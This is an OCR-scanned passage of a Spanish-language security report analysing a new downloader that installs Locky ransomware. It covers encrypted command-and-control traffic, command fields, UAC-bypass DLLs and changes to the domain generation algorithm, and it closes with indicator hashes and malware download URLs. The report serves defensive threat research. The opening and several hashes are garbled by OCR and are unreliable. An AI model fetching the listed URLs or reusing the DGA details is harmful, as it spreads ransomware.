8.TEg4q.@J.ur.1[.Bil.z....2z7R.R.r[.ub02;. 2P2eb.rer.LJ.m.G4z.ErJ.Urj.@5p6Twz. fT.V]. 6WFz.t1.RQYBd6T4bk.FB..U . .QE
‘@d.p:.a2).gR.day.m.edbuj...gk.dudyVT..Ug...WgDz..LfB*...a 3U.b@: fBo.0.n. jC_rBj.N.AHTTP/1.1 200 OK
Date: Thu, 31 Mar 2016 09:44:29 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.45-0+deb7u2

Vary: Accept-Encoding

Content-Length: 340

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

cKGRPrSuUqc2UC\D4GR6Zq2Bdg?

2ncuEr6La2l’ BIa~sW6BujerDgEeerl1<WRRTpadsC [Q2tz7R@5@IWRa<WR@aSTCTvB7IcKErAelbBL5agR7JerrH@t@topGIisiTo”
\w_P1txvUq>P1@3p0@tnVWA>VRWBO\A?RF1yQ |bEt3F<g_1c BBPbf2s51FNRE@xPeer4lGRd50ru<’ 2vBfZwR" hsD1da 62b |
FOaL7_dqgp8ueU~vQUc' @Q>@7tnP2TrP\ fOE62I2LbEacCltoF7sbt7au6SqHtnCUghSU4b4=g\GRu3C_q}
5=U1BN2DWR" : Ur@U" P2d3qf4@Eq2t=A

Figura 5.
Solicitud HTTP POST cifrada y respuesta de C2

El servidor C2 responde con un mensaje cifrado que le indica al malware qué accion
realizar. Es posible descifrar la respuesta de C2 con el cédigo Python, como se
muestra en la Figura 6.

Figura 6. Descifrador de la respuesta de C2.

El mensaje descifrado muestra una URL para descargar un binario y, en este caso,
un binario Locky actualizado.
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Figura 7. Mensajes descifrados

El campo ‘comando’ puede ser "UPDATE’, ‘NOTASKS, y ‘DEL’ - ‘NOTASKS’ que
indica que no hay mdas instrucciones del C2 por el momento y ‘DEL’ para eliminar
el programa de descarga de la computadora de la victima a través del despliegue y
la ejecucién de un archivo por lotes.

Una nueva inspeccion de este malware revela varios archivos DLL pequefos
incrustados en el binario. Estos DLL se pueden usar en funcién del entorno de
sistema operativo correspondiente al sistema comprometido. A continuacién se
describe brevemente los DLL incrustados:

1. DLL de 32 bits y 64 bits, que ejecuta un archivo a través de la API
CreateProcessW.

2. Binario de 64 bits que se utiliza para atravesar por el Control de cuentas
de usuario (UAC). La ruta de simbolos de depuracién no se elimina en el
binario:

D:\Test\Build\AvoidUAC\x64\Release\Test64Shellcode.pdb

3. Binario de 64 bits que puede elevar los privilegios para un proceso
determinado.

Actualizacién del algoritmo de generacién de dominio (DGA) de Locky

La muestra descargada de Lucky (MD5: 357c162a35c3623d1a1791c18e9f56€7)
ha actualizado su DGA. EI DGA tiene las siguientes diferencias:

* EITLD no se genera aleatoriamente y se recoge a partir de la lista siguiente:
["ru", "info", "biz", "click", "su", "work", "pl", "org", "pw", "xyz"]
*  Ya no se usa la constante 0x2709a354
e Se han introducido nuevas constantes: Ox1bf5, Oxd8efffff, Ox65cad
En nuestro blog anterior, brindamos una actualizacién del cédigo DGA compartido,

como se muestra en la Figura 8.
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Figura 8.
Actualizacién del algoritmo de generaciéon de dominio de Locky
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Conclusién

Los actores detrds del ransomware Locky estan buscando de manera activa nuevas
formas de instalar con éxito su malware en computadoras victimas. Esa puede ser
una de las razones que explica el uso de este nuevo programa de descarga, el cual
se ha introducido en el marco de la distribucién actual. Este programa de descarga
puede ser una nueva plataforma para la instalacién de otros malwares (“Pay-per-
Install”).

loCs
Spam EML

7b45833d87d8bd38c44cbaeece65dbbd04e12b8c1ef81a383cf7f0fce9832660
9a0788ba4e0666e082e18d61fad0fa9d985e1c3223f910a50ec3834bad4ccelO
MD5s

b0ca8c5881c1d27684c23db7a88d11el
c5ad81d8d986c92f90d0462bc06ac9chd
ebf1f8951ec79f2e6bf40e6981c7dbfc
357¢c162a35c3623d1a1791c18e9f56e72bcd76f6ef9f4cbcf5952{62b9bc8a08
b0ca8c5881c1d27684c23db7a88d11el
c325dcfdcbcle2bb62a7c5b1245985083

URLs

mrsweeter.ru/87h78rf33g
185.130.7.22/files/sBpFSa.exe
185.130.7.22/files/WRwe3X.exe
slater.chat.ru/gvtg77996
hundeschulegoerg.de/gvtg77996
buhjolk.at/files/dIseJh.exe
buhjolk.at/files/aYSTFn.exe
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